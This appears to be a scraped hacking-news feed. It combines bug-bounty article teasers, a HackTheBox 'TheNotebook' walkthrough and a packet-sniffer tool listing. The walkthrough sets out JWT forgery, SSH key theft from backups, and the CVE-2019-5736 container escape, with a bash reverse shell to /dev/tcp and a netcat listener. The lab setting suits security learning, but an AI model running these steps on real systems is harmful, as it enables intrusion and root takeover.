Business Logic Errors - A Logic Destruction

Summary :Continue reading on Medium »
Read more...

Business Logic Errors - A Logic Destruction
https://shahjerry33.medium.com/business-logic-errors-a-logic-destruction-477c4ebc824b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Summary :Continue reading on Medium » (https://shahjerry33.medium.com/business-logic-errors-a-logic-destruction-477c4ebc824b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

A Unique Email Verification Bypass
https://medium.com/@nub_error/a-unique-email-verification-bypass-6688e173a20c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Hackers! , in this write-up, I will tell you how I found a unique email verification bypass.Continue reading on Medium » (https://medium.com/@nub_error/a-unique-email-verification-bypass-6688e173a20c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
TheNotebook HackTheBox Walkthrough

We’ll look at another one of HackTheBox machines today, called “TheNotebook.” It is a medium difficulty box targeting commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We’d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology· NmapExploitation· Forging the JWT token with admin rights and self-generated private keyPrivilege Escalation· Recovering SSH private key from an old backup directoryCVE-2019-5736)

· Gaining root accessReconMachine’s IP was 10.129.211.197. The first step was to run nmap’s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A  10.129.211.197https://blogger.googleusercontent.com/img/a/AVvXsEhxStGsjlqoMdg-fqQAmSSYabLKUUB9WK0xjmsnCcz4Olhw2YiFzSgatbKkR5xOP_nrszkGgwv8HwCkODldvhGafKXbu1VuEQH5r2jD9dmeM_3tdWq8mx6AkfTD4AyBjOK29y1jsozULsC75S92ZNEvnXnKX1hOBIkHxzFyWfWNA9QYQyAbHvOjkMrxoQ=s16000 The website opens up a note management tool. There was a register link too.ExploitationSo, we’ll generate a private key, host it on our local server, and change the JWT header to my own key’s location and try if the website fetches and authenticates using our key.openssl genrsa -out privKey.key 2048https://blogger.googleusercontent.com/img/a/AVvXsEiKERiNvpDJYi_lkt_ByiJjfSgLcDTk4f31yDqOV-xI5NycZ2Y5VPDStdO1s7owotkJQl8bczUrzbFbiETOBafn9hY-M7xqrs0B-pANDBQr3l3i3zm2FW0oS01eRW0HGJYuyRMR-Dq9ujfMwtluCI23UdUzADJrHxjhjT3vqy5VyKJMyg37fPBgfsvvFw=s16000 We’d change the fields in our JWT header now and paste our own key in the field below for the token to verify the signature and successfully authenticate using my key.___________________________
@hacking_Attack
@Hacking_Video

Look how we’ve changed the location of key, admin_cap is set to true and pasted the key below. Note the color coding to comprehend how the JWT token is made.Privilege EscalationBefore opening this file up, we fired a netcat listener. Then after clicking on view can get a reverse shell. We convert this into a proper teletype first.python3 -c 'import pty;pty.spawn("/bin/bash")'In the var/backups directory we saw home.tar.gz which was an old account backup.cp home.tar.gz /tmp/Smart thing to do here is do dumpster diving for old SSH keys. Luckily, we did find the SSH keys and copied this private key to our system.cat /home/noah/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEjwvANJPXv5FTFtiBAId3w59eLHbuKT_wrARKzdUTKZ2CVLCy0dVv4LyQuhw5IHceMZKDCs4_lDQfZqlWSgodwswH4PLVusDnxLbXlahquCzL3nqS5kiMyVG_v45v8xuDqvJG9mfKPTueVbsDaxFQhB61ZRYGVqzaKz7jy2pRaT6uMfDpvUik2-YKcu5g=s16000 We changed the permission on the key to “600” and logged in to noah’s account using it.nano sshkeyThe user flag was in /home.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEjTJIozJU9Pj9tS2nTnTw2oI1D-d3_VRGOIIhgEDSPoVcjJsNKF4SuCEvPvI0VG60ZORFUVhJaerrhDTDVxezF08A9eFt_xv6MjwlU0aQb4fZ7f8ZqB-kZBwN3gqLUOGuyW7cdDVXBMEuLocISocyaNv_3Mz8ny3E2o1JtUtscj4z7tqcxwTfp7d2AEVg=s16000 We observed that version 18.06.0-ce was affected by CVE-2019-5736, a docker es[...]

___________________________
@hacking_Attack
@Hacking_Video

cape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.git clone https://github.com/Frichetten/CVE-2019-5736-PoCHere, we’ll modify the variable “payload” with this bash one linerbash -i >& /dev/tcp/10.10.14.100/9999 0>&1And then we save thisgo build main.gohttps://blogger.googleusercontent.com/img/a/AVvXsEgW9TMQ9K5qnFrYZYaX6Lv99IdU-xEo8RkOZ2cI2v2bkM0TVlAdC19kVBoYLitevE-XVRbnhViBVsD6UsTg7MsiS2gqZ4ogqKYgkKbOy2CcKcEeFxBUckmXgSsaNOwc6MRtiY_6E70a_GfLzoZyZAD3HBlL8niHC7Y57l0UuM2CnV1SllU_T04v_Wdw6A=s16000 In the machine, we first jumped into the container using docker exec command.sudo /usr/bin/docker exec -it webapp-dev01 /bin/bashAfter that we’ll copy the exploit in /tmp and execute itcd /tmphttps://blogger.googleusercontent.com/img/a/AVvXsEgbyf6kwyXDoTPrIXPjCDVXFUS7wifXeYV4X-rSkj9JmNBYs48NhEXGordCYRrd6PiUpS1s7dpZ9DpCPXs-cpir7dJlHpGGywFj88p61VXPEx8c3T37lflA8F2f7lyp2PO3u6ux5BRr7PQweBJNsoPWmNh1SiXT5HwvZOhRnljUV49JQkhXYRhLYufxZQ=s16000 Now, we’ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary “sh” has been overwritten by our exploit and it would run the “payload” that we defined in our exploit.sudo /usr/bin/docker exec -it webapp-dev01 shhttps://blogger.googleusercontent.com/img/a/AVvXsEg_JDDDCX_Gv2oTh_Y0t4LeQyZ_7Dtz_qQHodVBXhoJvbU1Vk84EHDrguV-OkkNTeou34_Gf9n02210Bw1TpUAnmJC8SgxftSVfUxfuWChptGT7Yhe_AMBtTq8Q9iBitj906twF9SrMHDaJjLlqVW9J2O5hwimFL8dOqyOgyybVpD_SanGHwPzL3VdF6Q=s16000 We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!nc -lvp 9999We snagged the flag in /root directoryConclusionHence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
TheNotebook HackTheBox Walkthrough

We’ll look at another one of HackTheBox machines today, called “TheNotebook.” It is a medium difficulty box targeting the commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We’d own the root

The post TheNotebook HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Blind XSS on Google Internal System
https://bountyget.medium.com/blind-xss-on-google-internal-system-dd459d74bfb5?source=rss------bug_bounty-5

Blind cross-site scripting (XSS) refers to a type of code injection where an attacker inserts XSS payload in user input fields and they…Continue reading on Medium » (https://bountyget.medium.com/blind-xss-on-google-internal-system-dd459d74bfb5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Packet-Sniffer - A pure-Python Network Packet Sniffing Tool

https://blogger.googleusercontent.com/img/a/AVvXsEgyiG2LnOhEc-VVhFpcfSPOuInpqc4IU4d_SQLB5_fd1TnmSVWGb-TF5CTHCkGE9BEJRj_0WEti7z0-et19clSOigT4-JKkFoL0JwfQIEFcxsFG62Sio_mTARRFTlFbQu6QxBUGbXupaLv3ZQfOOIg5wzbsIgNMEodlE8rLSfqs1DbdQR_F9X-y9_lCtA=w640-h459 A simple pure-Python network packet sniffer. Packets are disassembled as they arrive at a given network interface controller and their information is displayed on the screen.

This application maintains no dependencies on third-party modules and can be run by any Python 3.x interpreter. InstallationGNU / LinuxSimply clone this repository with git cloneand execute the packet_sniffer.pyfile as described in the following Usage section. user@host:~/DIR$ git clone https://github.com/EONRaider/Packet-Sniffer.git Other SystemsThis project is dependent on PF_PACKET- a stateful packet filter not found on Windows or Mac OS X. For demonstration purposes, you can try out this package in a Docker container. Although it will not have full access to localhost on your machine, you can still sniff on the Docker subnet and at least get the module running.

Use this command to build and run from the project directory: docker build -t sniff . && docker run --network host sniff Note that the entry command is simply python packet_sniffer.py, so feel free to use the full functionality of the module by overriding the default command. Remember that we tagged the container with the name "sniff" before, so we can pass command-line arguments to the sniffer in the following manner: docker run --network host sniff [your command goes here]
echo "Now let's print help"
docker run --network host sniff python packet_sniffer.py --help Usage of --network hostis not supported on OS X or Windows so this container won't be fully functional - but you will see packets traveling within the docker subnet. Usagepacket_sniffer.py [-h] [-i INTERFACE] [-d]

A pure-Python network packet sniffer.

optional arguments:
-h, --help show this help message and exit
-i INTERFACE, --interface INTERFACE
Interface from which packets will be captured (captures
from all available interfaces by default).
-d, --displaydata Output packet data during capture. Running the ApplicationObjective Initiate the capture of packets on all available interfaces Execution sudo python3 packet_sniffer.pyOutcome Refer to sample output below
* Sample output: [>] Packet #476 at 17:45:13:
[+] MAC ......ae:45:39:30:8f:5a -> dc:d9:ae:71:c8:b9
[+] IPv4 ..........192.168.1.65 -> 140.82.113.3 | PROTO: TCP TTL: 64
[+] TCP ..................40820 -> 443 | Flags: 0x010 > ACK
[>] Packet #477 at 17:45:14:
[+] MAC ......dc:d9:ae:71:c8:b9 -> ae:45:39:30:8f:5a
[+] IPv4 ..........140.82.113.3 -> 192.168.1.65 | PROTO: TCP TTL: 49
[+] TCP ....................443 -> 40820 | Flags: 0x010 > ACK
[>] Packet #478 at 17:45:18:
[+] MAC ......dc:d9:ae:71:c8:b9 -> ae:45:39:30:8f:5a
[+] ARP Who has 192.168.1.65 ? -> Tell 192.168.1.254
[>] Packet #479 at 17:45:18:
[+] MAC ......ae:45:39:30:8f:5a -> dc:d9:ae:71:c8:b9
[+] ARP ...........192.168.1.65 -> Is at ae:45:39:30:8f:5a Legal DisclaimerThe use of code contained in this repository, either in part or in its totality, for engaging targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.

Developers assume no liability and are not responsible for misuses or damages caused by any code contained in this repository in any event that, accidentally or otherwise, it comes to be utilized by a threat agent or un[...]

___________________________
@hacking_Attack
@Hacking_Video

authorized entity as a means to compromise the security, privacy, confidentiality, integrity, and/or availability of systems and their associated resources by leveraging the exploitation of known or unknown vulnerabilities present in said systems, including, but not limited to, the implementation of security controls, human- or electronically-enabled.

The use of this code is only endorsed by the developers in those circumstances directly related to educational environments or authorized penetration testing engagements whose declared purpose is that of finding and mitigating vulnerabilities in systems, limiting their exposure to compromises and exploits employed by malicious agents as defined in their respective threat models. Download Packet-Sniffer

___________________________
@hacking_Attack
@Hacking_Video

A Unique Email Verification Bypass

Hello Hackers! , in this write-up, I will tell you how I found a unique email verification bypass.Continue reading on Medium »
Read more...

Blind XSS on Google Internal System

Blind cross-site scripting (XSS) refers to a type of code injection where an attacker inserts XSS payload in user input fields and they…Continue reading on Medium »
Read more...

Packet-Sniffer - A pure-Python Network Packet Sniffing Tool

A simple pure-Python network packet sniffer. Packets are disassembled as they arrive at a given network interface controller and their information is displayed on the screen. This application maintains no dependencies on third-party modules and can be run by any Python 3.x interpreter.Installation GNU / Linux Simply clone this repository with git clone and execute the packet_sniffer.py file as described in the following Usage section. user@host:~/DIR$ git clone https://github.com/EONRaider/Packet-Sniffer.git Other Systems This project is dependent on PF_PACKET - a stateful packet filter not found on Windows or Mac OS X. For demonstration purposes, you can try out this package in a Docker container. Although it will not have full access to localhost on your machine, you can still sniff on the Docker subnet and at least get the module running. Use this command to build and run from the project directory: docker build -t sniff . && docker run --network host sniff Note that the entry command is simply python packet_sniffer.py, so feel free to use the full functionality of the module by overriding the default command. Remember that we tagged the container with the name "sniff" before, so we can pass command-line arguments to the sniffer in the following manner: docker run --network host sniff your command goes hereecho "Now let's print help"docker run --network host sniff python packet_sniffer.py --help Usage of --network host is not supported on OS X or Windows so this container won't be fully functional - but you will see packets traveling within the docker subnet. Usage packet_sniffer.py -h -i INTERFACE -dA pure-Python network packet sniffer.optional arguments: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE Interface from which packets will be captured (captures from all available interfaces by default). -d, --displaydata Output packet data during capture. Running the Application Objective Initiate the capture of packets on all available interfaces Execution sudo python3 packet_sniffer.py Outcome Refer to sample output below Sample output: > Packet #476 at 17:45:13: + MAC ......ae:45:39:30:8f:5a -> dc:d9:ae:71:c8:b9 + IPv4 ..........192.168.1.65 -> 140.82.113.3 | PROTO: TCP TTL: 64 + TCP ..................40820 -> 443 | Flags: 0x010 > ACK> Packet #477 at 17:45:14: + MAC ......dc:d9:ae:71:c8:b9 -> ae:45:39:30:8f:5a + IPv4 ..........140.82.113.3 -> 192.168.1.65 | PROTO: TCP TTL: 49 + TCP ....................443 -> 40820 | Flags: 0x010 > ACK> Packet #478 at 17:45:18: + MAC ......dc:d9:ae:71:c8:b9 -> ae:45:39:30:8f:5a + ARP Who has 192.168.1.65 ? -> Tell 192.168.1.254> Packet #479 at 17:45:18: + MAC ......ae:45:39:30:8f:5a -> dc:d9:ae:71:c8:b9 + ARP ...........192.168.1.65 -> Is at ae:45:39:30:8f:5a Legal Disclaimer The use of code contained in this repository, either in part or in its totality, for engaging targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for misuses or damages caused by any code contained in this repository in any event that, accidentally or otherwise, it comes to be utilized by a threat agent or unauthorized entity as a means to compromise the security, privacy, confidentiality, integrity, and/or availability of systems and their associated resources by leveraging the exploitation of known or unknown vulnerabilities present in said systems, including, but not limited to, the implementation of security controls, human- or electronically-enabled. The use of this code is only endorsed by the developers in those circumstances directly related to educational environments or authorized penetration testing engagements whose declared purpose is that of finding and mitigating vulnerabilities in systems, limiting their exposure to compromises and exploits employed by malicious agents as defined in their respective threat models. Download Packet-Sniffer
Read more...